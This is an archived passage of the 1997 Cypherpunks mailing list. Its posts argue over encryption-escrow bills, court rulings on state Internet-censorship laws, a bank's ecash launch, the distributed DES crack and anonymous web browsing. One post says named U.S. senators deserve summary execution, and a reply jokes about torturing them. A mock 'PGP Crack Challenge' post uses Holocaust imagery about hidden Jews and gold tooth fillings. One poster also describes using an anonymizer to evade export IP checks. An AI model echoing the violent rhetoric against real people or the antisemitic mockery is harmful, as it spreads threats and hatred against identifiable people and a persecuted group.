lMW/QUIYbsQPnftHPdFSfAWZ0DyCj/kamiRX/6Owl1dNlXzffWUt0TRit/epL2wh
Z46YYJPa/TA=
=ZwaC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 03:14:10 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
Message-ID: <v0310280cafd07f143053@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:00 AM -0700 6/20/97, Alan wrote:
>I sometimes think that Oregon is being used as a beta test for some of the
>more draconian laws due for the rest of the country.
>

Well, California has a constant stream of such laws...I reported on some of
them yesterday.

I suspect most of the other states are doing the same thing....

An interesting set of issues about "states rights" and "local control." I
used to think--indeed, this is what I was taught--that certain things
stated in the U.S. Constitution, such as the various items in the Bill of
Rights we mention so often, would block many local or state laws.

Thus, if Nebraska passed a law restricting religious freedoms, making Islam
a crime, for example, then this would be "struck down" by the Supremes.

I no longer feel very secure in this belief. For example, many states,
counties, and cities have laws which abridge the Second Amendment. Why are
these local laws not unconstitutional? When I have raised these points I
have been told by law professors (for example, on the Cyberia list) that
surely I support "states rights," don't I?

I now think it is likely that the 50 state legislatures, the thousands of
county and city governments, will accelerate their lawmaking machinery.
They have learned that the way to steady employment is to proliferate
bureacracies, that despite various scattered attempts to limit such
bureacratic growth, the expansion basically continues and even acclerates.
This ensures a huge job pool for politicians and bureaucrats. (Even
politicians who "retire" or are "voted out" find continued employment in
regional and local bureaucracies....

(Just in my neck of the woods there is government from Washington,
government from Sacramento, government from Santa Cruz County, government
from the Association of Monterey Bay Area Governments (AMBAG), and
government from the various City Halls that dot the landscape. Not to
mention at least four separate "police forces" roaming the streets (local
police, County Sheriffs, California Highway Patrol, and various Forest
Service and Park Rangers, all armed, all dangerous, all looking to hassle
any citizen-unit they take an interest in.) Plus an army of shakedown
agencies which demand $1000 fees to merely process the paperwork for a
replacement well on our own property, not even guaranteeing approval:
"Well, the $1000 is to cover our overhead costs," meaning the 4-story
concrete building housing several hundred County employees, all for a
county having fewer than 75,000 residents!)

The whole system is a corrupt shakedown racket. Cincinattus would not be
surprised.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 21 Jun 1997 03:21:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Getting Back to our Radical Roots
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <19970620120855.39343@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 20, 1997 at 10:17:37AM -0700, Tim May wrote:
[...]
> 
> But nearly anyone connected with a corporation will probably be told to use
> a GAK product, to reduce potential liablility and criminality concerns.
> This is the scenario Whit Diffie outlined several years ago at a
> Cypherpunks meeting, that pressures would be applied so as to make
> corporations and other such organizations the main enforcers of such
> policies.

The mistake here is thinking that corporations need pressure. 
Instead, corporate authority structures are substantially equivalent
to government authority structures, and the same desire for control
that drives GAK operates within corporations.  Thus, corporations are,
underneath, eager accomplices, not covert champions of the cypherpunk
agend angrily bowing under pressure. 

> (No, there won't be 100% enforcement. But enough to have a chilling effect
> on the development of some infrastructures Cypherpunks would like to see.
> Certainly any sort of untraceable cash infrastructure will be in almost
> immediate violation of the M-K bill, as it will be in U.K,, Germany,
> France, Japan, and all the other OECD/G8 nations. Cypherpunks like us can
> still "bootleg" some untraceably transactions, but not easily. And forget
> about wide use. This is the desired effect of these new laws.)

Yep, that infrastructure will be chilled.  
[...]
> We need to stop treating Cypherpunks meetings as marketing arms of
> corporations, however "friendly" to us in some respects, and get back to
> our more radical roots.

Actually, I think we need to be more clever than that.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 21 Jun 1997 01:23:11 +0800
To: cypherpunks@cyberpass.net
Subject: Mail server down :(
Message-ID: <199706201713.MAA01206@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

My ISP is in the process of switching backbone providers and as a
consenquence all my mail is bouncing. This more than likely will not be
fixed until Monday.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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O0kOCo6XJyg=
=OD5S
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: f_estema@alcor.concordia.ca
Date: Sat, 21 Jun 1997 00:51:50 +0800
To: Benjamin Grosman <bgrosman@healey.com.au>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <33AA2A2A.57A07997@healey.com.au>
Message-ID: <Pine.OSF.3.96.970620120544.4357A-100000@alcor.concordia.ca>
MIME-Version: 1.0
Content-Type: text/plain



Rant ahead.

On Fri, 20 Jun 1997, Benjamin Grosman wrote:

> > I'm not saying I _want_ an agency making decisions for us; only that
> > it would be slightly less hideously exasperating than our present
> > situation, where technoliterates are being ruled by technoilliterates.

> I would totally agree with you here...having an agency is definitely the
> best of a bad set of choices.

Doubtful. Under the current situation our technoilliterate oppononents are
passing demonstrably unworkable and heavy-handed laws, which, if the CDA
was any indication, have a high chance of being at least partly
neutralized in the courts and the benefit of being a headache to
implement technologically and commercially. 

If our opponents institutionalize the regulation of the Net, including a
GAK law, on the other hand, the policy will have the benefit of an entire
federal bureaucracy working behind it day by day to make it workable and
turn it into something acceptable to the judiciary and to those who are
seeking compromise. 

We will then have another FCC, but this time with its own pet FBI, and
given enough time (these people are essentially government employed
full-time lobbyists) everyone but us nutty libertarians will regard their
methods as common practice and something without which the Net would be
unlivable. Society will once again fall for the fallacy of government
necessity and we'll get divided and conquered.  Just ask the average
person what they think of abolishing the FCC and you will see what I mean. 

In the long run a new dedicated bureaucracy would be the worst of all
possible choices, first because it would actually function and second
because it would never go away. 

> > corrupt. We might get two or three good years out of a Federal
> > Internet Agency, depending who was appointed to run it.

3 semi-bad years instead of a couple of scary years of GAK being fought
head-on, in exchange for a permanent problem. 

> And that would probably be a major problem...finding someone with whom
> both the government and industry are happy.

Locking the rest of us out. Divide and conquer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 21 Jun 1997 00:35:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Cypherpunks write code
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <Pine.LNX.3.91.970620124049.285A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> But who cares? Cypherpunks write code! We know that we need to get the
> tools out. Deployment wins.
> 
> So let's not get hung up on the events in DC. Don't call your Senator.
> Don't waste time reading "policy posts". Write code!

This sums up my own sentiments entirely. People don`t realise that there 
is just no way to prevent a bill from passing if the government wants it 
to pass, and also I find the idea of bargaining with poloticians distasteful.

> We have monumental tasks ahead of us. Anon remailers exist today. A way of
> reliably receiving anon email will be deployed this year. Web anonymizers
> that truly conceal your identity are in limited beta. 

Does www.anonymizer.com run at a decent speed within the US? I tried to 
use it from here yesterday to get past the IP address cheching for the 
export page on www.netscape.com, and it was too slow (just stalled on 
about 1k)

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 04:17:48 +0800
To: iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <3.0.2.32.19970620125931.0075ec10@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>>>Thank you for being so patient.  ecash is now available from our web site
>>>>at:  http//www.advance.com.au/ecash

>Tim May  <tcmay@got.net> wrote:
>>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>>wrongly, a trademark of the company with the same name.

If there _wasn't_ any mention of those, there certainly is now :-)
The right-hand frame, after the pictures of PCs and dollar signs and logos,
has copyright notices, trademark notice for "ecash", and the addresses
and URLs for Advance Bank Australia Ltd. and Digicash BV in the Netherlands.

And the "Support" page has the following URLs:
   For more ecash info, refer to the DigiCash Web Site: 
     Who are DigiCash? 
     Digital Signatures and Smart Cards 
     Numbers that are money 


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 21 Jun 1997 01:19:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <3.0.2.32.19970620130840.006d0988@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 09:50 AM 6/20/97 -0700, Tim May wrote:
>
>>>Thank you for being so patient.  ecash is now available from our web site
>>>at:  http//www.advance.com.au/ecash

>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.
>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

The URL is workable, i.e., I was able to connect.

Perusing the site, under "Advance Bank and ecash security", it states:
"ecash uses military grade security technology. Used in conjunction with
our secure Internet Banking program, we have taken maximum precautions to
restrict access to your bank account or ecash."

Under "military grade security technology" (which is an embedded link), it
states:
"Military grade security - ecash uses public key cryptology to protect your
money as it passes over the Internet. Each user has two keys - a public
key, used to encrypt information, and a private key which is kept secret
and used to decipher information.  More specifically, a combination of
3xDES, 512RSA and 1024RSA in conjunction with the 128 IDEA encryption used
in the Internet Banking program, means your money and account information
will be secure." 


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.J. Parker"<cjp@dev.null>
Date: Sat, 21 Jun 1997 03:33:19 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Challenge Announced
Message-ID: <199706201912.NAA00918@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed with their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 04:22:03 +0800
To: cypherpunks@Algebra.COM
Subject: Congressemen who have earned the death penalty
In-Reply-To: <Pine.GSO.3.96.970620114844.1120E-100000@linda.teleport.com>
Message-ID: <v0310280eafd0941f2227@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:53 AM -0700 6/20/97, Alan wrote:
>With all of the "punish the evildoers amongst us"  and the "Improving
>Security by making it illegal" raving in congress, this came to mind...
>
>"The Congressional Definition of the Strength of a Firewall is how many
>times you can march the citizenry in front of it for summary execution
>before it crumbles."
>

Ah, you have cleverly rewritten the standard definition:

The Definition of the Strength of a Firewall is how many
politicians one can put  in front of it for summary execution
before it crumbles.

McCain, Kerrey, Hollings, et. al. are guilty of treason and should be put
in front of that firewall forthwith.

(As a free citizen, I am free to say that any particular person has
committed crimes deserving of execution. Despite what pseudo-lawyers often
claim. I have never said I plan to kill McCain or Kerrey. An important
difference. But they will surely pay for their crimes. Congress and
Washington need a taste of their own vile medicine.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 21 Jun 1997 04:44:41 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Congressemen who have earned the death penalty
In-Reply-To: <v0310280eafd0941f2227@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970620133228.18204A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Tim May wrote:

> Ah, you have cleverly rewritten the standard definition:
> 
> The Definition of the Strength of a Firewall is how many
> politicians one can put  in front of it for summary execution
> before it crumbles.

Or as the great Marxist (Groucho) put it...

  "We put them up against the wall and pop goes the weasel!"

> McCain, Kerrey, Hollings, et. al. are guilty of treason and should be put
> in front of that firewall forthwith.

You forgot Feinstien.  (I know...  You are trying to...)

> (As a free citizen, I am free to say that any particular person has
> committed crimes deserving of execution. Despite what pseudo-lawyers often
> claim. I have never said I plan to kill McCain or Kerrey. An important
> difference. But they will surely pay for their crimes. Congress and
> Washington need a taste of their own vile medicine.)

Who said anything about wanting to kill them?  A diced jalapeneo enema
will not kill them.  (Actually I am not sure of that.  We will have to run
a test...  The debug process could take some time... ]:> )

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 05:01:21 +0800
To: cypherpunks@toad.com
Subject: Courts strike down New York and Georgia Net-censorship laws
Message-ID: <Pine.GSO.3.95.970620134824.28917B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 13:48:13 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Courts strike down New York and Georgia Net-censorship laws

Two Federal courts ruled today in separate decisions
that state laws in New York and Georgia restricting
speech on the Internet are unconstitutional.

In a 62-page ruling, Judge Loretta Preska of
Manhattan's Federal district court struck down a New
York state Net-censorship law that restricted online
material that might be "harmful to minors," saying
that a single state couldn't pass laws that apply to
the entire Internet.

"The Internet may well be the premiere technological
innovation of the present age," Preska said. "Judges
and legislators faced with adapting existing legal
standards to the novel environment of cyberspace
struggle with terms and concepts that the average
American five-year old tosses about with breezy
familiarity."

In Georgia, Judge Marvin Shoob ruled that a state law
forbidding anonymity online is unconstitutional since
it violates free speech and free association rights.
The law is so broadly written, the judge indicated,
that even America Online screen names could be
considered illegal.

This represents a stunning victory for the American
Civil Liberties Union (http://www.aclu.org/), which
filed both lawsuits. Judge Shoob "understood clearly
the very strong need for our plaintiffs to communicate
anonymously," the ACLU's Ann Beeson says. Both judges
issued preliminary injunctions barring the state
attorneys general from enforcing the laws.

But the rulings differ in important ways. Manhattan's
Judge Preska did not answer whether the New York law
violated the First Amendment, saying she was going to
wait for the U.S. Supreme Court's to rule on the
Communications Decency Act. She said, however, that
she didn't *need to answer* that question to strike
down the law since it violated the U.S. Constitution's
ban on states attempts to regulate commerce outside
their borders.

This is an vital point: The court ruled that no state,
no matter how hard the legislators try, generally can
regulate "indecent" or "harmful to minors" material
online. "I cannot stretch enough the importance of
this conclusion," Beeson says. These rulings mean that
the ACLU's attempts to strike down other state
Net-censorship laws -- and around two dozen states
have passed or are considering such measures -- will
be a virtual slam dunk.

Georgia's Judge Shoob, in a shorter 21-page opinion,
ruled that the law -- that the Democrat-controlled
legislature passed in haste last year to muzzle
a dissident Republican representative -- violated
the First Amendment.

This echoes a recent Supreme Court case, McIntyre v.
Ohio, in which the justices ruled that the right to
anonymity extends beyond political speech; that
requiring someone to add their name to a leaflet is
unconstitutional; that writing can be more effective
if the speaker's identity is unknown.

Next stop: The Supreme Court, which is almost certain
to rule on the CDA next week...

-Declan

More info on the Georgia lawsuit:

  http://cgi.pathfinder.com/netly/editorial/0,1012,590,00.html

More info on the New York state lawsuit:

  http://cgi.pathfinder.com/netly/editorial/0,1012,532,00.html

  http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 20 Jun 1997 20:06:52 +0800
To: cypherpunks@toad.com
Subject: 96rock (96.1)--"The Home of Capital Punishment"
Message-ID: <199706201150.NAA15358@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



_The Atlanta Journal-Constitution_
6/20/97

"Contest Controversy: Radio Promotion Is Called Tasteless"
Miriam Longino, Staff Writer

Atlanta radio station 96rock is making waves with a contest that asks listeners to predict the year, month, day and time when convicted Oklahoma City bomber Timothy McVeigh will be executed. The winner gets a free trip to cover the event.

Rock Station WKLS-FM (96.1)--calling itself "The Home of Capital Punishment"--is running a 45-second spot 12 times a day to pitch the contest.

[snip]

...96rock promotions director, Pat Ervin, ...says he feels the station is "playing on the sentiment of the majority of the public." "We saw an opportunity," he says. "It's obvious that people are very passionate about this thing. So we decided to use a creative mechanism to tap into that."

[More follows]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 21 Jun 1997 01:23:39 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <19970619071935.51047@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970620134129.554C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Not only that, but single DES with a 56 bit key is just not being used 
> > anymore in any company which has the slightest clue.
> 
> This is false, of course.  Many companies with the slightest clue use 
> single DES.  

Well, maybe I should have said companies with the slightest clue *should* 
not be using 3DES, of course a lot of them are advised wrongly that 
single 56 bit DES is hard to break, indeed the succeptability of single 
DES to differential and linear cryptanalysis leaves me with a low level 
of condfidence about single DES period. Of course one could also say that 
by extension there is no reason why these methods of cryptanalysis could 
not be adapted to 3DES, I believe the NSA once claimed to have known 
about differential cryptanalysis since the 1970s??? in that case they are 
the ones who could, but won`t, tell you if in time 3DES can be broken by 
the same means as reduced round single DES.

> Also, someone pointed out that the combined efforts 
> probably had independently done 50% of the keyspace.

Yes, I think that even accounted for the expected duplication of keyspace 
searched by the different efforts, it was a resounding success overall.

> > If they can run a 
> > distributed crack on 3DES with independent subkeys then I`ll give them 
> > some attention.
> > 
> > I`m not downgrading the effort, 
> 
> This is false, too.  Doublespeak at it's finest.

Foo. I said I applauded the effort from a publicity point of view, it 
gets the message out there to the public that a bunch of guys with normal 
home PCs can break the encryption the government has been telling them is 
strong. From a technical point of view it is unsuprising, can you 
honestly tell me you were suprised a distributed crack got 56 bit DES??? 
Therefore there are two sides to it, it is a good thing, and <yawn>...> 

> > significant publicity stunt that will get normal non-specialist people 
> > thinking about the export laws, and about how quickly DES can be broken 
> > by the government if it can be broken by a few guys on the internet in 
> > months. All I am saying is that looking at it from a purely scientific 
> > point of view it is not a great cryptanalytic achievement, merely a 
> > PR stunt.
> 
> It is a *GREAT* achievement on several fronts, crypto included. 
> Another front that was equally important, IMO was as a demonstration
> of what loosely coordinated distributed computing can do. 

Yes, I do in fact, and I had not really considered this side of it so I 
thank you for bringing it to my attention, recognise the significance of 
the achievement from the distributed computing angle, it could so easily 
have gone spaghetti-wise. I just don`t recognise any real groundbreaking 
achievement in crypto terms, but of course it cost nothing, a hardware crack 
would have done it in days, but that is a different matter altogether, in 
both financial and PR terms, it would not be that impressive to crack DES 
with a custom DES cracker Wiener style, the real PR coup is that it was 
broken by an average home PC.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 21 Jun 1997 05:00:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Getting Back to our Radical Roots
Message-ID: <199706202052.NAA05467@f16.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>The resources used to break DES, if as many people hosted remailers and
>anonymizers on their machines, would further Cypherpunks goals a lot 
more
>than breaking DES, which we all know was breakable (as we know what "56
>bits" means).

There were messages here some time back about systems like anonymizer
but chainable and using cryptography.  Did anything come of that?
Efficient anonymous web browsing could be a killer app for crypto.
Use anonymous web access to get to hotmail accounts like this one
and you have anonymous email, easy to use.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 21 Jun 1997 02:12:05 +0800
To: cypherpunks@toad.com
Subject: Feinstein Amendment Text
Message-ID: <1.5.4.32.19970620175516.00684594@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Senator Feinstein's office has provided a copy of
her S.936 amendment which passed yersterday 94 to 0 
"to prohibit the distribution of certain information relating to 
explosives, destructive devices, and weapons of mass 
destruction."

   http://jya.com/fein-sp419.htm  (5K)

Via links in the file, the amendment may be compared to earlier 
draft versions and debate as well as for the effect of the recent 
Justice Department report on its language.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 05:32:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Getting Back to our Radical Roots
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <v03102810afd0a2bd9123@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 PM -0700 6/20/97, John Smith wrote:
>>The resources used to break DES, if as many people hosted remailers and
>>anonymizers on their machines, would further Cypherpunks goals a lot
>more
>>than breaking DES, which we all know was breakable (as we know what "56
>>bits" means).
>
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.

A hurdle or speedbump is the one of latencies:

* e-mail is expected, or accepted, to have latencies of minutes or even
hours. And as the packet sizes of e-mail messages are typically small, e.g.
3 KB, adequate mixing or entropy can be gotten in a remailer by mixing 10
or so messages, repeated several times though various hops.

* Web access is expected, or required, to be fast and peppy...people will
hardly tolerate (i.e., will not use) a site which spends minutes between
actions.

Whether minutes are needed between actions depends on the degree of mixing
sought, and the amount of other messages or Web accesses....

Also, a remailer can be done with *one way" paths, while Web accesses of
course require two-way paths. Two-way paths present oft-discussed hurdles
for anonymity. (Reply-blocks, message pools, etc.)

These are not unresolvable problems, from what I can see, but are typical
engineering tradeoffs, a la the usual:

"Speed, anonymity, interactivity. Pick two."

(Or something like this...)

PipeNet will help. Several groups are sort of working on new schemes. I
have my own thoughts about fixing this problem.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 05:32:00 +0800
To: shabbir@vtw.org
Subject: Senator Bryan on S. 909
Message-ID: <v03102800afd0a0fa0d45@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I just spoke with Andy Vermillye, Senator Bryan's staffer that handles the
encryption issue.

When I enquired regarding the Bryan's crypto views, Andy thought the
Senator's primary reason for voting in favor of the bill was his
Intelligence Committe briefings.  I gave him a very brief rant regarding
the Four Horseman and related my experience in dealing with intelligence
agencies (while at TRW), and why they shouldn't be trusted with laws which
so easily trample on our right to free speech. Andy admitted he was not
very knowledgable regarding crypto.

I told him I had spent considerable time and money in establishing First
ECache and that many of the bill's provisions, if left in their current
form, would prevent my company's function.  I said further that, Nevada and
the Senator are trying to attract high-tech industries to Nevada, but if
this bill passes I would be forced to move the business offshore instead of
creating high-paying Nevada jobs.

Andy said I was the only Nevada company to call regarding the bill, but
that a half dozen others (mostly large companies) all called in opposition.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 05:46:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.GSO.3.95.970620134824.28917B-100000@well.com>
Message-ID: <v03102802afd0a943ff87@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>But the rulings differ in important ways. Manhattan's
>Judge Preska did not answer whether the New York law
>violated the First Amendment, saying she was going to
>wait for the U.S. Supreme Court's to rule on the
>Communications Decency Act. She said, however, that
>she didn't *need to answer* that question to strike
>down the law since it violated the U.S. Constitution's
>ban on states attempts to regulate commerce outside
>their borders.

Might this also mean that states attempting to restrict Internet gaming
might similarly be restrained?



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Sat, 21 Jun 1997 06:14:21 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:52 PM 6/20/97 PDT, John Smith wrote:
>>The resources used to break DES, if as many people hosted remailers and
>>anonymizers on their machines, would further Cypherpunks goals a lot 
>more
>>than breaking DES, which we all know was breakable (as we know what "56
>>bits" means).
>
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
